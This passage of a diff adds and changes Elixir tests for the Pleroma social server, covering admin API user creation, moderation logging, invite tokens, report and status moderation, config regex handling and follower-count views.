reporter = insert(:user)
target_account = insert(:user)
{:ok, activity} = CommonAPI.post(target_account, %{"status" => "foobar"})
context = Utils.generate_context_id()
content = "foobar"
target_ap_id = target_account.ap_id
activity_ap_id = activity.data["id"]
res =
Utils.make_flag_data(
%{
actor: reporter,
context: context,
account: target_account,
statuses: [%{"id" => activity.data["id"]}],
content: content
},
%{}
)
assert %{
"type" => "Flag",
"content" => ^content,
"context" => ^context,
"object" => [^target_ap_id, ^activity_ap_id],
"state" => "open"
} = res
end
end
describe "add_announce_to_object/2" do
test "adds actor to announcement" do
user = insert(:user)
object = insert(:note)
activity =
insert(:note_activity,
data: %{
"actor" => user.ap_id,
"cc" => [Pleroma.Constants.as_public()]
}
)
assert {:ok, updated_object} = Utils.add_announce_to_object(activity, object)
assert updated_object.data["announcements"] == [user.ap_id]
assert updated_object.data["announcement_count"] == 1
end
end
describe "remove_announce_from_object/2" do
test "removes actor from announcements" do
user = insert(:user)
user2 = insert(:user)
object =
insert(:note,
data: %{"announcements" => [user.ap_id, user2.ap_id], "announcement_count" => 2}
)
activity = insert(:note_activity, data: %{"actor" => user.ap_id})
assert {:ok, updated_object} = Utils.remove_announce_from_object(activity, object)
assert updated_object.data["announcements"] == [user2.ap_id]
assert updated_object.data["announcement_count"] == 1
end
end
end

View file

@ -37,6 +37,22 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
} = UserView.render("user.json", %{user: user})
end
test "Renders with emoji tags" do
user = insert(:user, %{info: %{emoji: [%{"bib" => "/test"}]}})
assert %{
"tag" => [
%{
"icon" => %{"type" => "Image", "url" => "/test"},
"id" => "/test",
"name" => ":bib:",
"type" => "Emoji",
"updated" => "1970-01-01T00:00:00Z"
}
]
} = UserView.render("user.json", %{user: user})
end
test "Does not add an avatar image if the user hasn't set one" do
user = insert(:user)
{:ok, user} = User.ensure_keys_present(user)
@ -105,10 +121,20 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
info = Map.put(user.info, :hide_followers, true)
info = Map.merge(user.info, %{hide_followers_count: true, hide_followers: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("followers.json", %{user: user})
end
test "sets correct totalItems when followers are hidden but the follower counter is not" do
user = insert(:user)
other_user = insert(:user)
{:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
info = Map.merge(user.info, %{hide_followers_count: false, hide_followers: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 1} = UserView.render("followers.json", %{user: user})
end
end
describe "following" do
@ -117,9 +143,50 @@ defmodule Pleroma.Web.ActivityPub.UserViewTest do
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
info = Map.put(user.info, :hide_follows, true)
info = Map.merge(user.info, %{hide_follows_count: true, hide_follows: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 0} = UserView.render("following.json", %{user: user})
end
test "sets correct totalItems when follows are hidden but the follow counter is not" do
user = insert(:user)
other_user = insert(:user)
{:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
info = Map.merge(user.info, %{hide_follows_count: false, hide_follows: true})
user = Map.put(user, :info, info)
assert %{"totalItems" => 1} = UserView.render("following.json", %{user: user})
end
end
test "activity collection page aginates correctly" do
user = insert(:user)
posts =
for i <- 0..25 do
{:ok, activity} = CommonAPI.post(user, %{"status" => "post #{i}"})
activity
end
# outbox sorts chronologically, newest first, with ten per page
posts = Enum.reverse(posts)
%{"next" => next_url} =
UserView.render("activity_collection_page.json", %{
iri: "#{user.ap_id}/outbox",
activities: Enum.take(posts, 10)
})
next_id = Enum.at(posts, 9).id
assert next_url =~ next_id
%{"next" => next_url} =
UserView.render("activity_collection_page.json", %{
iri: "#{user.ap_id}/outbox",
activities: Enum.take(Enum.drop(posts, 10), 10)
})
next_id = Enum.at(posts, 19).id
assert next_url =~ next_id
end
end

View file

@ -1,12 +1,16 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
use Pleroma.Web.ConnCase
use Oban.Testing, repo: Pleroma.Repo
alias Pleroma.Activity
alias Pleroma.HTML
alias Pleroma.ModerationLog
alias Pleroma.Repo
alias Pleroma.Tests.ObanHelpers
alias Pleroma.User
alias Pleroma.UserInviteToken
alias Pleroma.Web.CommonAPI
@ -24,6 +28,14 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> put_req_header("accept", "application/json")
|> delete("/api/pleroma/admin/users?nickname=#{user.nickname}")
log_entry = Repo.one(ModerationLog)
assert log_entry.data["subject"]["nickname"] == user.nickname
assert log_entry.data["action"] == "delete"
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} deleted user @#{user.nickname}"
assert json_response(conn, 200) == user.nickname
end
@ -35,12 +47,135 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users", %{
"nickname" => "lain",
"email" => "lain@example.org",
"password" => "test"
"users" => [
%{
"nickname" => "lain",
"email" => "lain@example.org",
"password" => "test"
},
%{
"nickname" => "lain2",
"email" => "lain2@example.org",
"password" => "test"
}
]
})
assert json_response(conn, 200) == "lain"
response = json_response(conn, 200) |> Enum.map(&Map.get(&1, "type"))
assert response == ["success", "success"]
log_entry = Repo.one(ModerationLog)
assert ["lain", "lain2"] -- Enum.map(log_entry.data["subjects"], & &1["nickname"]) == []
end
test "Cannot create user with exisiting email" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
conn =
build_conn()
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users", %{
"users" => [
%{
"nickname" => "lain",
"email" => user.email,
"password" => "test"
}
]
})
assert json_response(conn, 409) == [
%{
"code" => 409,
"data" => %{
"email" => user.email,
"nickname" => "lain"
},
"error" => "email has already been taken",
"type" => "error"
}
]
end
test "Cannot create user with exisiting nickname" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
conn =
build_conn()
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users", %{
"users" => [
%{
"nickname" => user.nickname,
"email" => "someuser@plerama.social",
"password" => "test"
}
]
})
assert json_response(conn, 409) == [
%{
"code" => 409,
"data" => %{
"email" => "someuser@plerama.social",
"nickname" => user.nickname
},
"error" => "nickname has already been taken",
"type" => "error"
}
]
end
test "Multiple user creation works in transaction" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
conn =
build_conn()
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
|> post("/api/pleroma/admin/users", %{
"users" => [
%{
"nickname" => "newuser",
"email" => "newuser@pleroma.social",
"password" => "test"
},
%{
"nickname" => "lain",
"email" => user.email,
"password" => "test"
}
]
})
assert json_response(conn, 409) == [
%{
"code" => 409,
"data" => %{
"email" => user.email,
"nickname" => "lain"
},
"error" => "email has already been taken",
"type" => "error"
},
%{
"code" => 409,
"data" => %{
"email" => "newuser@pleroma.social",
"nickname" => "newuser"
},
"error" => "",
"type" => "error"
}
]
assert User.get_by_nickname("newuser") === nil
end
end
@ -99,6 +234,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
follower = User.get_cached_by_id(follower.id)
assert User.following?(follower, user)
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} made @#{follower.nickname} follow @#{user.nickname}"
end
end
@ -122,6 +262,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
follower = User.get_cached_by_id(follower.id)
refute User.following?(follower, user)
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} made @#{follower.nickname} unfollow @#{user.nickname}"
end
end
@ -142,17 +287,30 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
}&tags[]=foo&tags[]=bar"
)
%{conn: conn, user1: user1, user2: user2, user3: user3}
%{conn: conn, admin: admin, user1: user1, user2: user2, user3: user3}
end
test "it appends specified tags to users with specified nicknames", %{
conn: conn,
admin: admin,
user1: user1,
user2: user2
} do
assert json_response(conn, :no_content)
assert User.get_cached_by_id(user1.id).tags == ["x", "foo", "bar"]
assert User.get_cached_by_id(user2.id).tags == ["y", "foo", "bar"]
log_entry = Repo.one(ModerationLog)
users =
[user1.nickname, user2.nickname]
|> Enum.map(&"@#{&1}")
|> Enum.join(", ")
tags = ["foo", "bar"] |> Enum.join(", ")
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} added tags: #{tags} to users: #{users}"
end
test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
@ -178,17 +336,30 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
}&tags[]=x&tags[]=z"
)
%{conn: conn, user1: user1, user2: user2, user3: user3}
%{conn: conn, admin: admin, user1: user1, user2: user2, user3: user3}
end
test "it removes specified tags from users with specified nicknames", %{
conn: conn,
admin: admin,
user1: user1,
user2: user2
} do
assert json_response(conn, :no_content)
assert User.get_cached_by_id(user1.id).tags == []
assert User.get_cached_by_id(user2.id).tags == ["y"]
log_entry = Repo.one(ModerationLog)
users =
[user1.nickname, user2.nickname]
|> Enum.map(&"@#{&1}")
|> Enum.join(", ")
tags = ["x", "z"] |> Enum.join(", ")
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} removed tags: #{tags} from users: #{users}"
end
test "it does not modify tags of not specified users", %{conn: conn, user3: user3} do
@ -226,6 +397,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"is_admin" => true
}
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} made @#{user.nickname} admin"
end
test "/:right DELETE, can remove from a permission group" do
@ -241,6 +417,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"is_admin" => false
}
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} revoked admin role from @#{user.nickname}"
end
end
@ -253,10 +434,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
%{conn: conn}
%{conn: conn, admin: admin}
end
test "deactivates the user", %{conn: conn} do
test "deactivates the user", %{conn: conn, admin: admin} do
user = insert(:user)
conn =
@ -266,9 +447,14 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
user = User.get_cached_by_id(user.id)
assert user.info.deactivated == true
assert json_response(conn, :no_content)
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} deactivated user @#{user.nickname}"
end
test "activates the user", %{conn: conn} do
test "activates the user", %{conn: conn, admin: admin} do
user = insert(:user, info: %{deactivated: true})
conn =
@ -278,6 +464,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
user = User.get_cached_by_id(user.id)
assert user.info.deactivated == false
assert json_response(conn, :no_content)
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} activated user @#{user.nickname}"
end
test "returns 403 when requested by a non-admin", %{conn: conn} do
@ -385,18 +576,6 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
end
test "/api/pleroma/admin/users/invite_token" do
admin = insert(:user, info: %{is_admin: true})
conn =
build_conn()
|> assign(:user, admin)
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/invite_token")
assert conn.status == 200
end
test "/api/pleroma/admin/users/:nickname/password_reset" do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
@ -407,7 +586,9 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> put_req_header("accept", "application/json")
|> get("/api/pleroma/admin/users/#{user.nickname}/password_reset")
assert conn.status == 200
resp = json_response(conn, 200)
assert Regex.match?(~r/(http:\/\/|https:\/\/)/, resp["link"])
end
describe "GET /api/pleroma/admin/users" do
@ -868,9 +1049,14 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"avatar" => User.avatar_url(user) |> MediaProxy.url(),
"display_name" => HTML.strip_tags(user.name || user.nickname)
}
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} deactivated user @#{user.nickname}"
end
describe "GET /api/pleroma/admin/users/invite_token" do
describe "POST /api/pleroma/admin/users/invite_token" do
setup do
admin = insert(:user, info: %{is_admin: true})
@ -882,10 +1068,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "without options", %{conn: conn} do
conn = get(conn, "/api/pleroma/admin/users/invite_token")
conn = post(conn, "/api/pleroma/admin/users/invite_token")
token = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(token)
invite_json = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
refute invite.max_use
@ -894,12 +1080,12 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with expires_at", %{conn: conn} do
conn =
get(conn, "/api/pleroma/admin/users/invite_token", %{
"invite" => %{"expires_at" => Date.to_string(Date.utc_today())}
post(conn, "/api/pleroma/admin/users/invite_token", %{
"expires_at" => Date.to_string(Date.utc_today())
})
token = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(token)
invite_json = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
@ -908,13 +1094,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
test "with max_use", %{conn: conn} do
conn =
get(conn, "/api/pleroma/admin/users/invite_token", %{
"invite" => %{"max_use" => 150}
})
conn = post(conn, "/api/pleroma/admin/users/invite_token", %{"max_use" => 150})
token = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(token)
invite_json = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
refute invite.expires_at
assert invite.max_use == 150
@ -923,12 +1106,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
test "with max use and expires_at", %{conn: conn} do
conn =
get(conn, "/api/pleroma/admin/users/invite_token", %{
"invite" => %{"max_use" => 150, "expires_at" => Date.to_string(Date.utc_today())}
post(conn, "/api/pleroma/admin/users/invite_token", %{
"max_use" => 150,
"expires_at" => Date.to_string(Date.utc_today())
})
token = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(token)
invite_json = json_response(conn, 200)
invite = UserInviteToken.find_by_token!(invite_json["token"])
refute invite.used
assert invite.expires_at == Date.utc_today()
assert invite.max_use == 150
@ -1053,25 +1237,35 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
"status_ids" => [activity.id]
})
%{conn: assign(conn, :user, admin), id: report_id}
%{conn: assign(conn, :user, admin), id: report_id, admin: admin}
end
test "mark report as resolved", %{conn: conn, id: id} do
test "mark report as resolved", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/reports/#{id}", %{"state" => "resolved"})
|> json_response(:ok)
assert response["state"] == "resolved"
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} updated report ##{id} with 'resolved' state"
end
test "closes report", %{conn: conn, id: id} do
test "closes report", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/reports/#{id}", %{"state" => "closed"})
|> json_response(:ok)
assert response["state"] == "closed"
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} updated report ##{id} with 'closed' state"
end
test "returns 400 when state is unknown", %{conn: conn, id: id} do
@ -1105,6 +1299,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
assert response["total"] == 0
end
test "returns reports", %{conn: conn} do
@ -1127,6 +1322,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert report["id"] == report_id
assert response["total"] == 1
end
test "returns reports with specified state", %{conn: conn} do
@ -1160,6 +1357,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert open_report["id"] == first_report_id
assert response["total"] == 1
response =
conn
|> get("/api/pleroma/admin/reports", %{
@ -1172,6 +1371,8 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert length(response["reports"]) == 1
assert closed_report["id"] == second_report_id
assert response["total"] == 1
response =
conn
|> get("/api/pleroma/admin/reports", %{
@ -1180,6 +1381,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
|> json_response(:ok)
assert Enum.empty?(response["reports"])
assert response["total"] == 0
end
test "returns 403 when requested by a non-admin" do
@ -1202,14 +1404,15 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
end
end
#
describe "POST /api/pleroma/admin/reports/:id/respond" do
setup %{conn: conn} do
admin = insert(:user, info: %{is_admin: true})
%{conn: assign(conn, :user, admin)}
%{conn: assign(conn, :user, admin), admin: admin}
end
test "returns created dm", %{conn: conn} do
test "returns created dm", %{conn: conn, admin: admin} do
[reporter, target_user] = insert_pair(:user)
activity = insert(:note_activity, user: target_user)
@ -1232,6 +1435,13 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert reporter.nickname in recipients
assert response["content"] == "I will check it out"
assert response["visibility"] == "direct"
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} responded with 'I will check it out' to report ##{
response["id"]
}"
end
test "returns 400 when status is missing", %{conn: conn} do
@ -1255,10 +1465,10 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
admin = insert(:user, info: %{is_admin: true})
activity = insert(:note_activity)
%{conn: assign(conn, :user, admin), id: activity.id}
%{conn: assign(conn, :user, admin), id: activity.id, admin: admin}
end
test "toggle sensitive flag", %{conn: conn, id: id} do
test "toggle sensitive flag", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "true"})
@ -1266,6 +1476,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert response["sensitive"]
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} updated status ##{id}, set sensitive: 'true'"
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"sensitive" => "false"})
@ -1274,7 +1489,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
refute response["sensitive"]
end
test "change visibility flag", %{conn: conn, id: id} do
test "change visibility flag", %{conn: conn, id: id, admin: admin} do
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "public"})
@ -1282,6 +1497,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert response["visibility"] == "public"
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} updated status ##{id}, set visibility: 'public'"
response =
conn
|> put("/api/pleroma/admin/statuses/#{id}", %{"visibility" => "private"})
@ -1311,15 +1531,20 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
admin = insert(:user, info: %{is_admin: true})
activity = insert(:note_activity)
%{conn: assign(conn, :user, admin), id: activity.id}
%{conn: assign(conn, :user, admin), id: activity.id, admin: admin}
end
test "deletes status", %{conn: conn, id: id} do
test "deletes status", %{conn: conn, id: id, admin: admin} do
conn
|> delete("/api/pleroma/admin/statuses/#{id}")
|> json_response(:ok)
refute Activity.get_by_id(id)
log_entry = Repo.one(ModerationLog)
assert ModerationLog.get_log_entry_message(log_entry) ==
"@#{admin.nickname} deleted status ##{id}"
end
test "returns error when status is not exist", %{conn: conn} do
@ -1552,7 +1777,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
%{"tuple" => [":seconds_valid", 60]},
%{"tuple" => [":path", ""]},
%{"tuple" => [":key1", nil]},
%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}
%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
%{"tuple" => [":regex1", "~r/https:\/\/example.com/"]},
%{"tuple" => [":regex2", "~r/https:\/\/example.com/u"]},
%{"tuple" => [":regex3", "~r/https:\/\/example.com/i"]},
%{"tuple" => [":regex4", "~r/https:\/\/example.com/s"]}
]
}
]
@ -1569,7 +1798,11 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
%{"tuple" => [":seconds_valid", 60]},
%{"tuple" => [":path", ""]},
%{"tuple" => [":key1", nil]},
%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]}
%{"tuple" => [":partial_chain", "&:hackney_connect.partial_chain/1"]},
%{"tuple" => [":regex1", "~r/https:\\/\\/example.com/"]},
%{"tuple" => [":regex2", "~r/https:\\/\\/example.com/u"]},
%{"tuple" => [":regex3", "~r/https:\\/\\/example.com/i"]},
%{"tuple" => [":regex4", "~r/https:\\/\\/example.com/s"]}
]
}
]
@ -1861,7 +2094,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
post(conn, "/api/pleroma/admin/config", %{
configs: [
%{
"group" => "pleroma_job_queue",
"group" => "oban",
"key" => ":queues",
"value" => [
%{"tuple" => [":federator_incoming", 50]},
@ -1879,7 +2112,7 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) == %{
"configs" => [
%{
"group" => "pleroma_job_queue",
"group" => "oban",
"key" => ":queues",
"value" => [
%{"tuple" => [":federator_incoming", 50]},
@ -2020,6 +2253,239 @@ defmodule Pleroma.Web.AdminAPI.AdminAPIControllerTest do
assert json_response(conn, 200) |> length() == 5
end
end
describe "GET /api/pleroma/admin/moderation_log" do
setup %{conn: conn} do
admin = insert(:user, info: %{is_admin: true})
moderator = insert(:user, info: %{is_moderator: true})
%{conn: assign(conn, :user, admin), admin: admin, moderator: moderator}
end
test "returns the log", %{conn: conn, admin: admin} do
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_follow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second)
})
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_unfollow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second)
})
conn = get(conn, "/api/pleroma/admin/moderation_log")
response = json_response(conn, 200)
[first_entry, second_entry] = response["items"]
assert response["total"] == 2
assert first_entry["data"]["action"] == "relay_unfollow"
assert first_entry["message"] ==
"@#{admin.nickname} unfollowed relay: https://example.org/relay"
assert second_entry["data"]["action"] == "relay_follow"
assert second_entry["message"] ==
"@#{admin.nickname} followed relay: https://example.org/relay"
end
test "returns the log with pagination", %{conn: conn, admin: admin} do
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_follow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.truncate(~N[2017-08-15 15:47:06.597036], :second)
})
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_unfollow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.truncate(~N[2017-08-16 15:47:06.597036], :second)
})
conn1 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=1")
response1 = json_response(conn1, 200)
[first_entry] = response1["items"]
assert response1["total"] == 2
assert response1["items"] |> length() == 1
assert first_entry["data"]["action"] == "relay_unfollow"
assert first_entry["message"] ==
"@#{admin.nickname} unfollowed relay: https://example.org/relay"
conn2 = get(conn, "/api/pleroma/admin/moderation_log?page_size=1&page=2")
response2 = json_response(conn2, 200)
[second_entry] = response2["items"]
assert response2["total"] == 2
assert response2["items"] |> length() == 1
assert second_entry["data"]["action"] == "relay_follow"
assert second_entry["message"] ==
"@#{admin.nickname} followed relay: https://example.org/relay"
end
test "filters log by date", %{conn: conn, admin: admin} do
first_date = "2017-08-15T15:47:06Z"
second_date = "2017-08-20T15:47:06Z"
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_follow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.from_iso8601!(first_date)
})
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_unfollow",
target: "https://example.org/relay"
},
inserted_at: NaiveDateTime.from_iso8601!(second_date)
})
conn1 =
get(
conn,
"/api/pleroma/admin/moderation_log?start_date=#{second_date}"
)
response1 = json_response(conn1, 200)
[first_entry] = response1["items"]
assert response1["total"] == 1
assert first_entry["data"]["action"] == "relay_unfollow"
assert first_entry["message"] ==
"@#{admin.nickname} unfollowed relay: https://example.org/relay"
end
test "returns log filtered by user", %{conn: conn, admin: admin, moderator: moderator} do
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => admin.id,
"nickname" => admin.nickname,
"type" => "user"
},
action: "relay_follow",
target: "https://example.org/relay"
}
})
Repo.insert(%ModerationLog{
data: %{
actor: %{
"id" => moderator.id,
"nickname" => moderator.nickname,
"type" => "user"
},
action: "relay_unfollow",
target: "https://example.org/relay"
}
})
conn1 = get(conn, "/api/pleroma/admin/moderation_log?user_id=#{moderator.id}")
response1 = json_response(conn1, 200)
[first_entry] = response1["items"]
assert response1["total"] == 1
assert get_in(first_entry, ["data", "actor", "id"]) == moderator.id
end
test "returns log filtered by search", %{conn: conn, moderator: moderator} do
ModerationLog.insert_log(%{
actor: moderator,
action: "relay_follow",
target: "https://example.org/relay"
})
ModerationLog.insert_log(%{
actor: moderator,
action: "relay_unfollow",
target: "https://example.org/relay"
})
conn1 = get(conn, "/api/pleroma/admin/moderation_log?search=unfo")
response1 = json_response(conn1, 200)
[first_entry] = response1["items"]
assert response1["total"] == 1
assert get_in(first_entry, ["data", "message"]) ==
"@#{moderator.nickname} unfollowed relay: https://example.org/relay"
end
end
describe "PATCH /users/:nickname/force_password_reset" do
setup %{conn: conn} do
admin = insert(:user, info: %{is_admin: true})
user = insert(:user)
%{conn: assign(conn, :user, admin), admin: admin, user: user}
end
test "sets password_reset_pending to true", %{admin: admin, user: user} do
assert user.info.password_reset_pending == false
conn =
build_conn()
|> assign(:user, admin)
|> patch("/api/pleroma/admin/users/#{user.nickname}/force_password_reset")
assert json_response(conn, 204) == ""
ObanHelpers.perform_all()
assert User.get_by_id(user.id).info.password_reset_pending == true
end
end
end
# Needed for testing

View file

@ -103,6 +103,30 @@ defmodule Pleroma.Web.AdminAPI.ConfigTest do
assert Config.from_binary(binary) == ~r/comp[lL][aA][iI][nN]er/
end
test "link sigil" do
binary = Config.transform("~r/https:\/\/example.com/")
assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/)
assert Config.from_binary(binary) == ~r/https:\/\/example.com/
end
test "link sigil with u modifier" do
binary = Config.transform("~r/https:\/\/example.com/u")
assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/u)
assert Config.from_binary(binary) == ~r/https:\/\/example.com/u
end
test "link sigil with i modifier" do
binary = Config.transform("~r/https:\/\/example.com/i")
assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/i)
assert Config.from_binary(binary) == ~r/https:\/\/example.com/i
end
test "link sigil with s modifier" do
binary = Config.transform("~r/https:\/\/example.com/s")
assert binary == :erlang.term_to_binary(~r/https:\/\/example.com/s)
assert Config.from_binary(binary) == ~r/https:\/\/example.com/s
end
test "2 child tuple" do
binary = Config.transform(%{"tuple" => ["v1", ":v2"]})
assert binary == :erlang.term_to_binary({"v1", :v2})

View file

@ -1,5 +1,5 @@
# Pleroma: A lightweight social networking server
# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/>
# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Web.AdminAPI.SearchTest do

View file

@ -5,6 +5,7 @@
defmodule Pleroma.Web.AdminAPI.ReportViewTest do
use Pleroma.DataCase
import Pleroma.Factory
alias Pleroma.Web.AdminAPI.Report
alias Pleroma.Web.AdminAPI.ReportView
alias Pleroma.Web.CommonAPI
alias Pleroma.Web.MastodonAPI.AccountView
@ -20,12 +21,12 @@ defmodule Pleroma.Web.AdminAPI.ReportViewTest do
content: nil,
actor:
Map.merge(
AccountView.render("account.json", %{user: user}),
AccountView.render("show.json", %{user: user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: user})
),
account:
Map.merge(
AccountView.render("account.json", %{user: other_user}),
AccountView.render("show.json", %{user: other_user}),
Pleroma.Web.AdminAPI.AccountView.render("show.json", %{user: other_user})
),
statuses: [],
